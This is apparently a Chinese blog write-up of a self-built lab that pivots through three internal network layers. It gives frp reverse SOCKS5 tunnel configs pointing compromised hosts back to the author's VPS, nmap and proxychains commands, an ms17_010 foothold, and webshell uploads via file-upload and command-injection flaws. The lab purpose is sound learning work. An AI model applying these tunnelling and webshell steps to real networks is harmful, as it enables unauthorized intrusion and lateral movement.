frp内网穿透(socks隧道)
前言
之前写了利用cs和[msf]进行内网穿透,今天写一下利用frp来进行内网穿透。
[frp]是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
它由客户端(frpc)和服务端(frpc)组成,服务端放在攻击机上,客户端放到靶机上,然后进行连接便可以访问内网。
同时frp还分为linux版本和Windows版本,在使用时选择对应的版本即可。其它的就不再多说了,上网一搜便有很多链接下载的,直接上实验吧。
一、实验目的
通过frp搭建socks隧道,实现内网的访问
二、实验环境
下图是我自己搭建的实验环境,vps为我个人的服务器。kali为本次实验的攻击机,win7为介于公网和内网之间的边缘机器,其他均为内网机器。

三、实验过程
首先信息收集一下(虽然我们有上帝视角,但做戏做全套嘛),输入命令扫描整个192.168.145.*这个网段
nmap -sP 192.168.145.*
可以看到存活的机器为171和224,171是kali的IP,那么就可以锁定224为目标机器的IP了

输入命令探测其端口开放等信息,可以看到开放了很多端口,其机器系统为win7。那么我们直接用ms17_010漏洞来拿到win7的shell
nmap -O 192.168.145.224

也是成功拿到shell了好吧,具体怎么操作可以看我之前的文章我在这里

这里我们通过ipconfig知道win7还有一个10.0.0.1网段,正常是无法直接访问的,因为这个是内网网段,我们需要建立代理

接下来我们配置一下frp客户端(frpc)和服务端(frps),frpc的配置文件为frpc.ini,同理frps的配置文件为frps.ini。输入命令查看配置文件
vim frps.ini
打开frps.ini是下面这样子的,bind_port为frps与frpc建立连接的端口,默认就行了

再配置一下frpc客户端,打开frpc.ini如下。

这里我说一下这些参数的意思,同时frpc.ini修改如下
[common]
server_addr = 116.*.*.* //服务端IP,这里我是放在服务器上的
server_port = 7000 //与服务端建立连接的端口,要和服务端的一致
[target1] //代理隧道的名称,这个随便定义
type = tcp //通行类型,默认tcp就行
remote_port = 1234 //通信端口,注意通信端口和连接端口是两码事,一个作用于客户端与服务端的连接,一个作用于流量转发
plugin = socks5 //代理类型
现在我们要做的就是让win7与我们的vps建立socks代理隧道,通过代理来访问win10 10.0.0.3这个网段。先把frpc客户端和配置文件frpc.ini上传到win7,注意这里要上传windows版本的

查看一下,已经成功上传了

现在我们在vps启动一下frps服务端,这里要用linux版本的frps,因为我的vps是linux版本的
./frps -c frps.ini // -c表示指定文件
可以看到frps服务端等待连接

再通过shell,启动一下win7上面的frpc.exe客户端
start /b frpc.exe
可以看到名为target1的隧道成功连接,我们就成功建立的第一层代理

扫描之前,先打开/etc/proxychains.conf这个文件配置全局代理,代理类型、端口、ip要和服务端的一样

直接扫描10.0.0.3这台主机(上帝视角,假设我们已经知道10.0.0.1这个网段存在10.0.0.3主机),可以看到开放了80端口和445等端口。从这里也可以看出我们的流量是怎么跑的,本地流量先跑到vps116...*上面,再转发到win710.0.0.2,通过win7来把流量转发到win10 10.0.0.3

既然开启了80端口,那在我们的浏览器上添加代理即可访10.0.0.3

可以看到是个文件上传漏洞(小皮一键部署环境就行了,这里为了方便,没有做过滤,支持任意文件上传),我们上传个木马getshell即可

上传木马就不演示了,随便上传个一句话木马就行了。然后用蚁剑连接一下,老规矩先配置代理,因为我们的木马实在内网主机里面的。代理协议选socks5,IP和端口与服务端一致

在蚁剑上显示是连接成功滴

但是不知道为啥点进去一直显示错误,检查了代理没问题的,就是访问不了win10的文件???有师傅知道为啥的话,恳请指点一二。

既然蚁剑不行,那我们换godzilla来连接我们木马。godzilla需要网上自行下载,输入命令
java -jar godzilla.jar

点击目标->添加,添加我们木马的路径以及代理(注意端口、IP要和服务端一致)

用godzilla可以添加成功

直接右键进入命令终端看看,ipconfig看到还有一个10.0.1.1网段,同理给10.0.0.3挂上代理才可以访问10.0.1.1网段

还是用这图来解释一下,现在我们已经让vps和win7建立了代理,我们的流量从kali转发到vps(因为我们在kali里面配置了全局代理嘛),再从vps转发到win7,再从win7转发到win10 10.0.0.3。那为啥要通过win7才能访问win10 10.0.0.3呢,因为win7和win10都在10.0.0.1网段中嘛,只有同一网段的主机才能互相访问。

同理我们想访问win10 10.0.1.3,是不是要给win10 10.0.1.2这台主机挂上代理才行,让win7与win10 10.0.1.2建立连接。win7再上传一个服务端frps.exe和frps.ini,win10 10.0.1.2上传客户端frpc.exe和frpc.ini
upload /home/wlw666/桌面/frp_windows/frpc.exe c://
上传之前先配置一下frps.ini,再把frps.exe服务端和frps.ini上传到win7
[common]
bind_addr = 10.0.0.2 //因为win7有两个网段,要标明是哪一个网段的iP。而且这个ip的网段要和我们将要访问的主机的ip是同一网段
bind_port = 7000 //连接端口不用改
ok啊,这边也是成功上传到win7了

然后我们再配置一下frpc.ini,再把frpc.exe客户端和frpc.ini上传到win10 10.0.1.2
[common]
server_addr = 10.0.0.2 //这里iP填服务端的,现在我们的服务端为win7,就填win7的ip
server_port = 7000 //连接端口不变
[target1]
type = tcp //类型不变
remote_port = 1234 //流量转发端口变不变都可以
plugin = socks5 //代理类型不用变
这边看到也是成功上传了好吧

这里我说一下之前我有看到一篇文章,说是建立二层frp代理的话,要修改第一层代理的frpc.ini。也就是修改上面我们传上win7的frpc.ini,不过我没有修改好像也可以???有懂的师傅恳请指点一二,这里我就顺便说一下怎么修改吧
[common]
server_addr = 116.*.*.*
server_port = 7000
[target1]
type = tcp
remote_port = 1234
#plugin = socks5 //把这句注释掉,添加下面这两句话
local_port = 1234 //指定本地转发流量端口,这里为了方便也用1234
local_ip = 10.0.0.2 //本地ip
修改完之后重新把frpc.ini上传到win7,再重启frpc.exe即可。这里我没有去修改所以就跳过这一步,直接运行刚刚上传到win7的frps.exe,还有上传到win10 10.0.1.2的frpc.exe。启动之后在shell这里会显示连接成功,现在我们就成功建立了第二层代理

此时我们再配置kali的全局代理,打开同样的文件,在第一次配置的代理下面添加即可

然后我们就可以扫描10.0.1.3这台主机了(同理,上帝视角已经知道这个网段有这台主机),这里看到开放80端口,老规矩挂代理,上浏览器访问

这里直接在浏览器挂代理好像不行,要挂个全局代理再在浏览器挂代理才行。我的理解是浏览器只能挂一层代理,如果你开第二层代理那么第一层代理就会断开,所以我们要在电脑开个全局代理。如果理解的不对,还望有懂的师傅指点一下。这里我用proxifier来进行全局代理,添加代理服务,地址填第一层代理frps服务端的ip,这里是填我的vps的地址

点击Proxification Rules添加一下代理规则

点击add,name随便取一个。Target hosts添加我们想访问的网段,因为我们要访问10.0.1.1网段就得先访问10.0.0.1网段,所以两个都要添加,按照我下面方式添加就行。Action选择我们刚刚添加的代理服务

最后再在浏览器添加一下代理并且开启即可访问10.0.1.3

也是成功访问好吧,这里显示是命令执行漏洞且参数为d,那就好办了。直接写入一句话木马,再用godzilla连接即可getshell。

对了,这里说一下用godzilla连接的话要重新启动一下才能成功
proxychains java -jar godzilla.jar //在启动命令前加个proxychains
成功getshell,然后就是信息收集

ipconfig看到win10 10.0.1.3还有另外一个网段为10.0.2.1

这里我还是用这个图片说一下,现在我们已经挂了两层代理,可以直接访问到win10 10.0.1.3。但是我们如果要访问10.0.2.1网段的主机是不是得在win10 10.0.1.2和win10 10.0.1.3建立连接,也就是挂第三层代理。那么我们最终的流量会通过win10 10.0.1.3转发到我们的10.0.2.1网段的主机中

先配置一下我们的frps.ini,再把它和frps.exe服务端上传到win10 10.0.1.2
[common]
bind_addr = 10.0.1.2
bind_port = 7000
再配置一下frpc.ini,同样把它和frpc.exe服务端上传到win10 10.0.1.3
[common]
server_addr = 10.0.1.2
server_port = 7000
[target1]
type = tcp
remote_port = 1234
plugin = socks5
然后再启动一下即可,启动之后再配置一下/etc/proxychains,同样直接在下面添加我们的第三层代理即可

然后扫描一下10.0.2.3这台主机(上帝视角),发现开放了22、80端口

在全局代理这里添加了10.0.2.*这个网段

然后在浏览器添加第三层代理,居然访问不了10.0.2.3 ???就很奇怪,没搞懂是怎么回事,有懂的师傅恳请指点一下。

既然网站访问不了,那就换下思路。上面我们知道它开启了22端口,我们可以ssh远程连接一下
proxychains ssh root@10.0.2.3
然后输入密码即可远程连接成功

至此,三层内网穿透便成功了
四、结语
在实验过程中还是遇到了挺多的问题,但好在大多都解决了。不过还是遗留了一些不懂的问题,等以后再慢慢研究了。最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
文章知识点与官方知识档案匹配,可进一步学习相关知识
文章评论